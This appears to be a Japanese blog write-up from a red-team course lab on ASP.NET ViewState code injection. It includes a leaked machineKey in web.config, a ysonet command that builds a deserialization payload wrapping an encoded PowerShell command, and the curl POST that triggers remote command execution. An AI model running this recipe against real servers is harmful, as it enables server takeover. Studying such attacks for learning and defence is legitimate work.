ViewStateといえば、ASP.NET Webフォームでページの状態を保持するためのアレ。
予め必要な情報が手に入っていれば、ViewStateの値を編集してASP.NETランタイムにOSコマンドを実行させることができる。
ViewStateコードインジェクションに必要な情報収集
ViewStateと言えば、こんな感じで表示したページに入ってるやつ。
<body>
<form method="post" action="./default.aspx" id="form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTcwNzM5ODc3NGRkuCwwL3tVUWLJeG168Y/jI28D3Yw=" />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
ViewStateコードインジェクションでは、validationkeyとvalidationalgとgeneratorという値が必要。
generatorというのは上記の__VIEWSTATEGENERATORのこと。
validationkeyとvalidationalgは、web.configから取得。例えばこんな感じのもの。
<system.web>
<pages validateRequest="false" enableEventValidation="false" viewStateEncryptionMode="Never"/>
<machineKey validationKey="56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17" decryptionKey="A69D80B92A16DFE1698DFE86D4CED630FA56D7C1661C8D05744449889B88E8DC" validation="SHA1" decryption="AES"/>
<customErrors mode="Off"/>
<compilation defaultLanguage="c#" debug="true"/>
<!-- CRITICAL SETTING: Allows path traversal in URLs -->
<httpRuntime relaxedUrlToFileSystemMapping="true" />
</system.web>
web.configの中身は他の脆弱性を使ってLFIか何かで取得する。
これで揃った必要な情報。
validationkey=validationKey=56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17 validationalg=validation=SHA1 generator=__VIEWSTATEGENERATOR=CA0B0334
ViewStateコードインジェクション用のViewStateの値を生成
yosnetを使用する。
github.com
使用するオプション:
-p ViewState -g TextFormattingRunProperties -c "<実行したいコマンド>" --generator=__VIEWSTATEGENERATORの値 --validationalg=validationのアルゴリズム --validationkey="<見つけたvalidationKey>"
例えばこんな感じで。
C:\Users\test\Downloads\ysonet-v1.11>ysonet.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e JABjAGwAaQBlAG4AdAAgAD(省略)GUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --generator=CA0B0334 --validationalg="SHA1" --validationkey="56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17" %2FwEyzxEAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3(省略)kZXI%2BC07D4hkkA2a75CrMkiKcnoLoLJuK
%2FwEyzxEAAQAAAP%2F%2F%2F%2F8B(省略)iKcnoLoLJuKの部分が生成されたもの。
これを付けてPOSTする。例えばこんなで。
$ curl 'http://10.5.2.10/default.aspx' \ -X POST \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \ -H 'Accept-Language: en-US,en;q=0.5' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Referer: http://10.5.2.10/default.aspx' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Origin: http://10.5.2.10' \ -H 'Connection: keep-alive' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'Priority: u=0, i' \ --data-raw '__VIEWSTATE=%2FwEyzxEAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3(省略)kZXI%2BC07D4hkkA2a75CrMkiKcnoLoLJuK&__VIEWSTATEGENERATOR=CA0B0334&txtCustomerID=123&btnLookup=Lookup'
__VIEWSTATE以外は元々のPOSTリクエストそのまま。
このPOSTでコマンドが実行される。
ちなみに
これを試したのは、CWLのAD-RTSコース。
$10くらいだったので買ったが、個人的にはViewStateコードインジェクション以外の学びは無かった。
つまり、コース内容的には微妙。割引していなかったら絶対買わない方が良い。
参考
・Code injection attacks using publicly disclosed ASP.NET machine keys | Microsoft Security Blog
https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
・Zero Day Initiative — CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys
https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
・Active Directory Red Team Specialist (AD-RTS) - CWL : Advanced Cyber Attack & Detection Learning Platform
https://cyberwarfare.live/product/active-directory-red-team-specialist-ad-rts/